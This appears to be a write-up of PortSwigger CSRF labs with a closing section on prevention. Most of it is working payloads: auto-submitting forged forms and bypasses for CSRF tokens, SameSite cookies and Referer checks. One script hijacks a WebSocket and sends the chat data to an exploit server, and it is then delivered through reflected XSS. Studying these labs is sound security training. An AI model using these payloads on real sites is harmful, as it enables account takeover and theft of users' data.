Cross-site request forgery
Cross-site request forgery (CSRF)
Cross-Site Request Forgery (CSRF) is a web security vulnerability that allows an attacker to trick a victim into unknowingly making an unwanted request to a web application where they are authenticated.
How CSRF Works
Victim logs into a trusted website (e.g., a banking site) and remains authenticated (session cookie is active).
Attacker crafts a malicious request (e.g., a forged HTTP request to transfer money).
Victim is tricked into triggering the request by visiting a malicious website, clicking a link, or loading an image.
The request is sent from the victim’s browser with their authentication token (cookies, session, etc.).
The server processes the request, assuming it’s legitimate, and executes the action.
Examples of a CSRF Attack
- If a user is logged into their banking site, an attacker might trick them into clicking a malicious link like:
<img src="https://bank.com/transfer?to=attacker&amount=1000" />
CSRF Portswigger Labs
For a CSRF attack, you’ll typically craft a malicious HTML form that submits a request to change the email address when the victim loads the page. Here’s a basic example:
1
2
3
4
5
6
7
8
9
10
11
<html>
<body>
<form action="https://TARGET.COM/path/to/change-email" method="POST">
<input type="hidden" name="email" value="attacker@example.com">
<input type="hidden" name="csrf_token" value="CSRF_TOKEN_IF_NEEDED"> # could be excluded
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Post request validation
There could be validation on POST request so you coult try to escape it using GET
1
2
3
4
5
6
7
8
9
10
<html>
<body>
<form action="https://TARGET.COM/path/to/change-email" method="GET">
<input type="hidden" name="email" value="attacker@example.com">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Session token validation
If there there is validation of session token presented we need to add this token to our payload:
1
2
3
4
5
6
7
8
9
10
11
<html>
<body>
<form action="TARGET.COM/path/to/change-email" method="POST">
<input type="hidden" name="email" value="attacker@example.com">
<input type="hidden" name="cookie" value="session=YFRxHNSadi6IgBn05CdTi5w92Qywmp5z"> # could be token or whatever, here we just use session for portswigger lab
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
CSRF token validation
If there there is validation of CSRF token presented we need to add this token to our payload(csrf token here will be for one time use so need to use intercept there):
1
2
3
4
5
6
7
8
9
10
11
<html>
<body>
<form action="https://0ae5000a04ac221c80d30dea00d9003a.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="csrf" value="rB4A7VVAVriHdytuKqwvZzj7uk9nyCyO">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
CSRF where token is tied to non-session cookie
If there there is validation of CSRF token and cookie presented we need to add this token to our payload(csrf token here will be for one time use so need to use intercept there) and Set-Cookies (csrfKey):
1
2
3
4
5
6
7
8
9
<html>
<body>
<form action="https://0a55008c03d3c78882b5f12500ff0056.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="attack@email.net">
<input type="hidden" name="csrf" value="yf8Pp0EPWFwOyppqD2U7YH43Sy1UKRkQ">
</form>
<img src="https://0a55008c03d3c78882b5f12500ff0056.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=Womglu5UhJg621xuSu5JhcOQfnGuN82K%3b%20SameSite=None" onerror="document.forms[0].submit()">
</body>
</html>
CSRF where token is duplicated in cookie
1
2
3
4
5
6
7
<form method="POST" action="https://0a8700e30340c70c82f4793100a60097.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="attack@attacker.com">
<input type="hidden" name="csrf" value="fake">
</form>
<img src="https://0a8700e30340c70c82f4793100a60097.web-security-academy.net/?
search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
SameSite Lax bypass via method override
If the target site is enforcing SameSite=Lax for the CSRF token, you can potentially bypass it using the method override technique. This works when the application allows HTTP method override via headers or query parameters (e.g., X-HTTP-Method-Override or _method). SameSite=Lax allows cookies to be sent in GET requests but blocks them in cross-site POST requests.
1
2
3
4
5
6
7
8
9
10
11
<html>
<body>
<form action="https://0ae100d204ab4258821ac93000bc0004.web-security-academy.net/my-account/change-email" method="GET">
<input type="hidden" name="email" value="attack@email.net">
<input type="hidden" name="_method" value="POST">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
SameSite Strict bypass via client-side redirect
Let’s use the client-side redirect (document.location) to trick the browser into making a same-origin request, ensuring that all cookies were sent automatically. The path traversal (postId=3/../) will allow us to bypass URL validation and modify the request to change the email address without requiring user interaction
1
2
3
<script>
document.location = "https://0af7007504d09417810f8ac4004b00ea.web-security-academy.net/post/comment/confirmation?postId=3/../my-account/change-email?email=nonuser%40user.net%26submit=1";
</script>
SameSite Strict bypass via sibling domain
To solve this first I went and solve WebSockets path as suggested and used a payload from there to see what data could be retrieved abusing websockets:
1
2
3
4
5
6
7
8
9
<script>
var ws = new WebSocket('wss://0a0f000903ba45ba80500daf008600d5.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://exploit-0ab00018030445c580950c3b01ed00d4.exploit-server.net/exploit?message=' + btoa(event.data));
};
</script>
Data I saw on my server after delivering payload to victim:
1
2
3
4
5
6
7
8
...
188.146.36.29 2025-04-08 20:15:56 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:137.0) Gecko/20100101 Firefox/137.0"
188.146.36.29 2025-04-08 20:16:12 +0000 "POST / HTTP/1.1" 302 "user-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:137.0) Gecko/20100101 Firefox/137.0"
188.146.36.29 2025-04-08 20:16:12 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:137.0) Gecko/20100101 Firefox/137.0"
10.0.3.60 2025-04-08 20:16:12 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
10.0.3.60 2025-04-08 20:16:12 +0000 "GET /exploit?message=eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9 HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
188.146.36.29 2025-04-08 20:16:13 +0000 "GET / HTTP/1.1" 200 "user-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:137.0) Gecko/20100101 Firefox/137.0"
188.146.36.29 2025-04-08 20:16:13 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:137.0) Gecko/20100101 Firefox/137.0"
Decoding base64 we see some chat part {"user":"CONNECTED","content":"-- Now chatting with Hal Pline --"}
Then if we will dig deeper in our requests in burp in chat request history (not websocket!) we could find a new link https://cms-0ad700fa03243c3180f140a600280051.web-security-academy.net after checking this one we see a login page. Try to login with any data and check request in burp - if we put it in the repeater and try XSS in login field, we could see that reflected XSS is presented.
PING
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /login HTTP/2
Host: cms-0ad700fa03243c3180f140a600280051.web-security-academy.net
Cookie: session=YAVCt7MVYwIpNByxvtdLWcJWVjoZQcpe
Content-Length: 62
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
Origin: https://cms-0ad700fa03243c3180f140a600280051.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://cms-0ad700fa03243c3180f140a600280051.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
username=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&password=arst
PONG
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 532
<html>
<head>
<title>Login</title>
</head>
<body>
<h1>Login</h1>
<section>
<p>Invalid username: <script>alert(1)</script></p>
<form method="POST" action="/login">
<label>Username</label>
<input required="" type="username" name="username"/>
<label>Password</label>
<input required="" type="password" name="password"/>
<button type="submit"> Log in </button>
</section>
</body>
</html>
Let’s try to change request to GET, so it will looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
GET /login?username=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&password=testpasswd HTTP/2
Host: cms-0ad700fa03243c3180f140a600280051.web-security-academy.net
Cookie: session=YAVCt7MVYwIpNByxvtdLWcJWVjoZQcpe
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
Origin: https://cms-0ad700fa03243c3180f140a600280051.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://cms-0ad700fa03243c3180f140a600280051.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
PONG
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 532
<html>
<head>
<title>Login</title>
</head>
<body>
<h1>Login</h1>
<section>
<p>Invalid username: <script>alert(1)</script></p>
<form method="POST" action="/login">
<label>Username</label>
<input required="" type="username" name="username"/>
<label>Password</label>
<input required="" type="password" name="password"/>
<button type="submit"> Log in </button>
</section>
</body>
</html>
Ok we see the same answer as for POST, great, let’s use our initial payload (the one from WebSockets), encode it via URL encoding and abuse our login field so our new payload will look like this:
1
2
3
<script>
document.location = "https://cms-0ad700fa03243c3180f140a600280051.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%73%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f%30%61%64%37%30%30%66%61%30%33%32%34%33%63%33%31%38%30%66%31%34%30%61%36%30%30%32%38%30%30%35%31%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%20%20%20%20%77%73%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%73%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%20%20%20%20%77%73%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%65%78%70%6c%6f%69%74%2d%30%61%65%36%30%30%32%61%30%33%31%39%33%63%64%34%38%30%66%32%33%66%33%33%30%31%38%64%30%30%31%30%2e%65%78%70%6c%6f%69%74%2d%73%65%72%76%65%72%2e%6e%65%74%2f%65%78%70%6c%6f%69%74%3f%6d%65%73%73%61%67%65%27%20%2b%20%62%74%6f%61%28%65%76%65%6e%74%2e%64%61%74%61%29%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e&password=testpasswd"
</script>
Ok so now we deliver this one to the victim and in the logs getting all the data we need!
SameSite Lax bypass via newly issued cookies/cookie refresh
While we check carefully - we are getting cookie after login … It was written that site will block a pop-up but I actually was able to solve it without windows.onclick like this:
1
2
3
4
5
6
7
8
9
10
11
<form method="POST" action="https://0a970020042119a980475df100fe000c.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="test@banged">
</form>
<script>
window.open('https://0a970020042119a980475df100fe000c.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
function changeEmail(){
document.forms[0].submit();
}
</script>
CSRF where Referer validation depends on header being present
To bypass referrer header we can use metatag: <meta name="referrer" content="never">
1
2
3
4
5
6
7
8
9
10
11
12
<form method="POST" action="https://0a970020042119a980475df100fe000c.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="test@banged">
<meta name="referrer" content="never">
</form>
<script>
window.open('https://0a970020042119a980475df100fe000c.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
function changeEmail(){
document.forms[0].submit();
}
</script>
CSRF with broken Referer validation (validation of the cross-domain request)
Sometimes there is a pure check of referrer header so system doesn’t check exact url, but it is enough to have original url in the referer! So we will use history.pushState(state, title, url) where: state - An object you want to associate with the new URL (can be anything you want, like {userId: 123}); it is retrievable later via history.state. title - A string for the page title. Browsers ignore this for now (it’s reserved for future use — so you usually pass an empty string ‘’). url - The new URL you want to show in the address bar. It can be relative (/newpage) or absolute (https://site.com/newpage). It does not cause a page reload!
Updating Head with Referrer-policy value:
1
2
3
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Referrer-policy: unsafe-url
And use a payload:
1
2
3
4
5
6
7
8
9
10
11
<html>
<body>
<script>history.pushState("", "", "/?0ac400b10398ee0880da035000190001.web-security-academy.net")</script>
<form action="https://0ac400b10398ee0880da035000190001.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="attacker@example.com">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Difference between a site and an origin
| Site | Origin | |
|---|---|---|
| Definition | A broader grouping: same scheme + registrable domain + public suffix | A stricter grouping: same scheme + hostname (FQDN) + port |
| Focus | Focuses on the main domain | Focuses on full hostname and port |
| Security boundary | Used in some rules (like cookies: SameSite) | Used heavily in Same-Origin Policy (SOP) |
| Example | https://example.com and https://sub.example.com are considered different origins, but part of the same site | https://sub.example.com:443 and http://sub.example.com:80 are different origins |
How to Prevent CSRF
CSRF Tokens
- Include a random token in every state-changing request (e.g., form submissions).
Example: <input type="hidden" name="csrf_token" value="random_value">
SameSite Cookies
- Set SameSite attribute in cookies to prevent cross-site requests.
- SameSite=Strict → Best protection (but may break some login flows)
- SameSite=Lax → Safer default for most apps (allows GETs but blocks POSTs)
Example: Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Strict
Origin & Referer Header Validation
Check that requests come from trusted sources.
Origin: must match the trusted domain.
Referer: must start with your site’s URL.
User Interaction Requirements
- Require CAPTCHA, re-authentication, or multi-factor authentication for sensitive actions.
CORS Policies
- Restrict which origins can make cross-origin requests.
Avoid Sensitive Actions via GET
- GET requests should NEVER change server state.
- Only allow POST, PUT, DELETE for actions like changing password, updating email, etc.
